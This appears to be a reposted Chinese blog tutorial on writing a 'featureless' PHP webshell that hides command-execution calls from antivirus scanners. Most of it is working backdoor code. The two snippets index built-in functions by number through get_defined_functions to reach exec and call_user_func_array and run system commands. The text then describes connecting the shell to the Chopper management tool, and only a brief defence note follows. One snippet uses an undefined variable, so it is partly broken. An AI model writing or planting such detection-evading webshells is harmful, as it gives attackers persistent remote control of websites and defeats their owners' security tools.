PHP无特征webshell
程序员文章站
2022-05-27 15:45:26
...
PHP无特征webshell
- webshell就是将php、asp代码以网页的形式,编写成命令、代码执行的环境,可用于作为网站后门。webshell形式可谓是千变万化,但是总会存在一些文件和代码特征,从而可能被杀毒软件查杀,但是我们如何能做到无文件、无特征,来规避杀毒软件的查杀和检测呢?
常见php代码种可执行命令函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()、
文件操作函数(file_put_contents()、fputs())、动态函数($a($b))
无特征webshell
原理:这里使用get_defined_functions
函数遍历所有函数,然后将特定函数放在call_user_func_array
函数中,来执行系统命令。
<?php
function testfunc(){
$func = get_defined_functions(); //遍历所有函数,返回一个二维数组的函数(包括所有已定义的函数,内置的或者用户定义的函数)列表
$args = func_get_args(); //接收传入的参数值
$func_id = array_shift($args); //获取传入的函数所代表的list的key
$func_name = $func['internal'][$func_id]; //根据internal方法来访问系统内置函数,通过key来索引函数名
$tmp = 0;
//print_r($func);
if($conf_name == "exec"){ //判断获取的函数
print_r(call_user_func_array($func_name, $args)); //调用回调函数($func_name),并把一个数组参数(得是索引数组)作为回调函数的参数。
$tmp = 1;
}
return $tmp;
}
for ($x=0; $x<=50000; $x++){
$tmp = testfunc($x, "whoami"); //调用函数
if($tmp == 1){ //退出
break;
}
}
?>
执行结果:
- 通过上面代码原理分析,我们可以看到这里是通过
get_defined_functions
遍历函数,从而调用exec等命令执行或代码执行函数的。
编写无特征webshell
<?php
function f(){
$f = get_defined_functions()['internal']; //遍历所有函数,内置函数可以通过$arr['internal']进行访问
$a = func_get_args(); //接收传来的参数
$t = $f[797]($a); //797===>array_shift
$c = $f[$t];
return $f[549]($c, $a); //549===>call_user_func_array
}
print_r(f(456,'whoami')); //456===>exec
?>
注意:
- 这里的797、549、456,就表示通过list key,去索引函数名。
- 执行结果(当前只是执行系统命令)
使用菜刀进行管理
- 添加变量接收请求
- 执行任意代码
- 菜刀连接
防御方式:
- 1.建议对网站使用WebShell扫描查杀工具进行查杀,例如D盾、WebShellkiller。
- 2.对用户可控网站目录可读可写可执行权限进行严格限制。